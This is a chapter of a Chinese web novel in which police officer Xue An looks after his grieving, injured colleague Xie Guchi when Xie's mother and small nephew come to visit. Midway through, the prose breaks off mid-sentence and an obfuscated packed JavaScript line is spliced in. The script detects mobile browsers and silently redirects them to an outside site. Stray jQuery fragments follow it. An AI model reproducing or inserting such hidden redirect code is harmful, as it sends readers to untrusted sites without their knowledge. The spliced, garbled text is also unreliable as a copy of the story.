第二天上午，阳光依旧很好。薛安正在厨房里准备午餐，打算炖个清淡的鱼汤，再炒两个时蔬。
谢故迟还睡着——或许是终于回到了熟悉的环境，神经稍微放松，他昨晚睡得比在医院沉了些，但清晨依旧醒得很早，眼底带着挥之不去的疲惫。薛安强迫他又躺下休息，自己则轻手轻脚地开始忙碌。
门铃就在这时响了。
清脆的铃声在安静的房间里显得格外清晰。薛安擦擦手，快步走到玄关，从猫眼往外看了一眼，随即立刻拉开了门。
门外站着两个人。前面是林奕含，小家伙背着一个卡通小书包，穿着干净整洁的衣服，小脸上带着一丝怯生生的期待和不安，仰着头看着他。
后面是谢母，手里提着一个保温桶和一个布袋子，脸色比起前些日子好了些许，但依旧憔悴，眼角的皱纹深了，鬓边的白发似乎也多了。
她看到开门的薛安，努力想挤出一个笑容，但那笑容里满是苦涩和强撑的坚强。
“阿姨，奕含，快进来！”薛安连忙侧身让开，接过谢母手里的东西，“路上累了吧？怎么不打个电话，我去接你们。”
“不累不累，打车很方便的。”谢母的声音有些沙哑，她走进来，目光首先就急切地扫向客厅，“小迟呢？他……”
“在房间里休息，昨晚睡得还行，刚又睡着了。”薛安压低声音，关上门，“您坐，我去叫他。”
“别，别叫醒他，让他睡。”谢母立刻摆手，眼圈却瞬间红了。
她走到客厅，看到阳台上温暖的阳光，和沙发上那条叠得整整齐齐的毛毯，又看到茶几上插着的百合和奕含的画，鼻子一酸，赶紧别过脸去。
林奕含则像只小兔子，先是紧紧挨着外婆的腿，大眼睛好奇又有些害怕地打量着这个熟悉、又似乎有点不一样的地方。然后，他的目光被电视柜上自己的画吸引了，小脸上露出一点点高兴，但很快又黯淡下去，小声问：“薛叔叔，舅舅呢？舅舅好了吗？”
“舅舅好多了，在睡觉呢。”薛安蹲下身，平视着林奕含，语气温和，“奕含想舅舅了吗？”
林奕含用力点头，眼圈也开始发红，带着哭腔：“想……我想妈妈了，也想舅舅……”
孩子稚嫩的话语像一把刀，狠狠扎在在场两个大人的心上。谢母的眼泪终于忍不住，滚落下来，她赶紧用手背抹去，蹲下身抱住外孙，声音哽咽：“奕含乖，不哭……舅舅生病了，需要休息，我们小声点，好不好？”
薛安心里也堵得难受，他深吸一口气，站起身：“阿姨，您坐，我去给您倒水。奕含，饿不饿？薛叔叔做了小饼干，要不要尝尝？”
他试图用食物转移孩子的注意力，也给自己一点缓冲的时间。就在这时，主卧的门被轻轻推开了。
谢故迟站在门口。他显然已经醒了，或许是被门铃声吵醒的。他穿着那身浅灰色的家居服，身形依旧单薄，脸色苍白，但比起昨天出院时，似乎多了一丝活气。
他一只手扶着门框，目光越过薛安，直直地落在了客厅里的母亲和外甥身上。
空气仿佛凝固了。
谢母抱着奕含，缓缓站起身，看着门口那个清瘦得让她心疼的儿子，嘴唇哆嗦着，却发不出声音，只是眼泪汹涌地流。
林奕含看到舅舅，眼睛一亮，挣脱外婆的怀抱，像颗小炮弹一样冲了过去，一把抱住谢故迟的腿，仰起小脸，眼泪吧嗒吧嗒往下掉：“舅舅！舅舅你好了吗？你怎么睡了那么久？妈妈呢？妈妈为什么还不来接我？”
孩子一连串的问题，每一个都像重锤，砸在谢故迟早已破碎不堪的心上。他身体几不可察地晃了一下，扶住门框的手指用力到指节泛白。
他看着抱着自己腿、哭得抽抽噎噎的外甥，又看向几步外泪流满面、仿佛一夜之间苍老了十岁的母亲，胸腔里那股熟悉的、几乎要将他撕裂的剧痛和窒息感再次排山倒海般袭来。
他张了张嘴，喉咙里像被砂石堵住，发不出任何声音。只有眼底迅速弥漫开来的、浓得化不开的痛楚和赤红，泄露了他内心的惊涛骇浪。
薛安快步走过去，一手轻轻扶住谢故迟有些发颤的手臂，一手摸了摸林奕含的头，声音放得极轻，带着安抚的力量：“奕含乖，舅舅刚好，不能站太久。我们先让舅舅坐下，好不好？”
林奕含听话地松开了些，但小手还紧紧抓着谢故迟的裤腿，仰着满是泪痕的小脸，固执地看着舅舅。
谢故迟在薛安的搀扶下，慢慢走到沙发边坐下。他的动作有些僵硬，目光一直低垂着，不敢看母亲，也不敢看外甥满是期待和疑问的眼睛。
他怕自己一抬眼，就会在那两双至亲的眼睛里，看到姐姐的影子，看到自己的无能和罪孽。
谢母也走了过来，在谢故迟身边坐下，伸出手，颤抖地想要抚摸儿子的脸，却又在半途停住，最终只是紧紧抓住了他冰凉的手，声音破碎：“小迟……我的儿……你受苦了……是妈没用，妈没照顾好你们姐弟……”
谢故迟感觉到母亲手上传来的、粗糙而温暖的触感，和那无法抑制的颤抖。他猛地闭上眼睛，将脸埋进另一只手的掌心，肩膀无法控制地微微耸动起来。但他死死咬着牙，没有发出一丝声音，只有急促的呼吸泄露着他极力压抑的情绪。
巨大的悲伤和愧疚，如同实质的枷锁，勒得他几乎喘不过气。姐姐走了，留下年幼的孩子和年迈的母亲。
而他，这个理应撑起这个家的儿子和舅舅，却倒下了，成了需要被照顾的累赘。他甚至不知道，该如何面对母亲，如何回答奕含关于“妈妈”的问题。
薛安静静地站在一旁，看着这令人心碎的一幕。他没有上前打扰，只是将小声啜泣的林奕含轻轻揽到自己身边，用眼神示意他不要吵。然后，他转身走进厨房，倒了两杯温水，又拿出他早上烤的、形状可爱的小动物饼干，放在奕含面前的小茶几上。
“奕含，先喝点水，吃块饼干。让舅舅和外婆说会儿话，好不好？”薛安的声音很温柔，带着一种奇异的、能让人安定的力量。
林奕含看着饼干，又看看沉默流泪的外婆和把脸埋在手里、肩膀颤抖的舅舅，似乎也感觉到了空气中沉重的悲伤，他抽噎着点点头，拿起一块饼干，小口小口地吃着，眼泪却还在掉。
客厅里一时只剩下压抑的啜泣声和窗外的鸟鸣。阳光依旧明媚，却照不亮这一室的阴霾。
不知过了多久，谢故迟终于缓缓抬起头。他的眼睛红肿，脸上还有未干的泪痕，但表情已经恢复了某种近乎死寂的平静。
他抽回被母亲握着的手，用袖子胡乱抹了把脸，然后看向母亲，声音沙哑得厉害：“妈，我没事。您别哭了，对身体不好。”
他说着“没事”，可那样子，任谁看了都知道他“有事”，而且事很大。
谢母看着他强作镇定的样子，心里更痛，但她也知道儿子性子倔，不愿在人前彻底崩溃。
她用力点点头，擦着眼泪：“好，好，妈不哭。你没事就好，没事就好……医生怎么说？肺还疼吗？吃饭怎么样？薛警官说你出院了，在家养着，妈不放心，就带着奕含来看看……”
谢母絮絮叨叨地问着，试图用这些琐碎的问题，填补那些无法言说的巨大空白和伤痛。
谢故迟一一简短地回答着，语气平淡，像在汇报工作。“不疼了。”“能吃。”“恢复得还行。”
他的目光，始终避开母亲的眼睛，也避开旁边一直眼巴巴看着他的奕含。
林奕含吃完了饼干，小手悄悄拉了拉薛安的衣角，小声问：“薛叔叔，舅舅是不是还在生我的气？因为我总问妈妈？”
孩子敏感而直接的问题，让薛安心头一酸。他蹲下身，看着奕含清澈又带着不安的眼睛，认真地说：“不是的，奕含。舅舅没有生你的气。舅舅是……太想妈妈了，又生病了，身体不舒服，所以有点难过。奕含想妈妈，舅舅也想，外婆也想。我们都想。”
林奕含似懂非懂，但“我们都想”这句
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17559269|204528||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
话似乎给了他一些安慰。他用力点点头，小声说：“我也想。那我以后不问了，等舅舅好了再问。”
薛安摸了摸他的头，心里又软又疼。
那边，谢母从带来的布袋子里拿出那个保温桶：“妈给你炖了鸡汤，放了党参和黄芪，补气的。你趁热喝点。”她又拿出几件叠得整整齐齐的干净衣服，“这是你的换洗衣服，妈给你带来了。还有奕含的几件……”
“妈，不用。”谢故迟打断她，声音依旧平淡，“薛安……都准备了。衣服……我穿他的就行。”他说这话时，耳根几不可察地红了一下，但快得让人以为是错觉。
谢母愣了一下，看向薛安，眼里满是感激：“薛警官，真是……太麻烦你了。小迟这次，多亏了你……”
“阿姨您千万别这么说，都是应该的。”薛安连忙道，“老谢是我同事，是战友，照顾他是分内的事。而且奕含也乖，住这儿挺好的。您放心，有我在，一定把老谢照顾好。”
谢母看着薛安真诚而坚定的眼神，又看看儿子虽然苍白但还算整洁的样子，和这个被打理得井井有条、充满生活气息的家，心里那根一直紧绷的弦，终于稍微松了一点点。
她知道，儿子性子冷，独来独往，能有薛安这样一个肯掏心掏肺照顾他的朋友，是莫大的幸运。
“谢谢，真的谢谢你，薛警官。”谢母的声音再次哽咽。
“阿姨，您叫我薛安、小薛都行。”薛安笑了笑，转移话题，“鸡汤闻着真香，正好给老谢补补。奕含，要不要也喝一点？”
林奕含点点头。薛安去厨房拿了碗勺，给谢故迟盛了一碗，又给奕含盛了小半碗。热腾腾的鸡汤香气弥漫开来，冲淡了些许悲伤的气氛。
谢故迟默默接过碗，小口喝着。温热的汤汁下肚，带着母亲熟悉的味道，让他冰冷僵硬的四肢百骸似乎都暖和了些许。他低着头，长长的睫毛垂下，遮掩了眼底翻涌的情绪。
谢母看着儿子安静喝汤的样子，又看看乖巧喝汤的外孙，再看看忙进忙出、自然妥帖的薛安，心里那一片因为女儿骤逝和儿子重伤而坍塌的废墟，似乎被注入了一丝微弱但坚韧的力量。
这个临时的、奇特的“家”，此刻竟成了她风雨飘摇的后半生里，唯一可以抓住的浮木。
阳光慢慢移动，从客厅爬到了餐厅。一顿简单却温暖的午饭在略显沉默但不再那么压抑的气氛中结束。谢母抢着收拾了碗筷，薛安也没跟她争。
饭后，谢故迟似乎有些精力不济，靠在沙发上闭目养神。林奕含则被薛安带到阳台上，那里有薛安给他准备的新画纸和蜡笔，小家伙很快被吸引了注意力，专心致志地画起画来。
谢母坐在儿子身边，握着他依旧没什么温度的手，低声说着家里的一些琐事，亲戚的问候，奕含在学校的表现……都是些平常的话语，却带着一种劫后余生的、珍贵的平常。
谢故迟静静地听着，偶尔“嗯”一声。他没有睁眼，但紧绷的身体，在母亲絮絮的唠叨和身边孩子偶尔传来的、稚嫩的疑问声中一点点地松懈下来。
薛安站在厨房门口，看着这一幕。
午后的阳光透过阳台的玻璃门，洒在谢故迟苍白的侧脸和林奕含毛茸茸的发顶上，也洒在谢母花白的鬓角。
空气里有鸡汤残留的香气，有阳光的味道，有蜡笔淡淡的甜腻，还有……一种缓慢流淌的、名为“家”的宁静。
虽然这个“家”伤痕累累，支离破碎，但至少在此刻，它被一双有力的手，和一份笨拙却真挚的心意，勉强拼凑在一起，在阳光下，透出一点点微弱的、却不肯熄灭的光。
他知道，前路依然漫长，悲伤不会轻易消散，谢故迟心里的冰川也不会一夜融化。但至少，家人来了，阳光进来了，生活似乎又有了可以继续下去的、细微的脉络。
这就够了。
薛安转身，轻轻走进厨房，开始准备晚餐的食材。他的动作很轻，嘴角却不由自主地，浮起一丝极淡的、满足的弧度。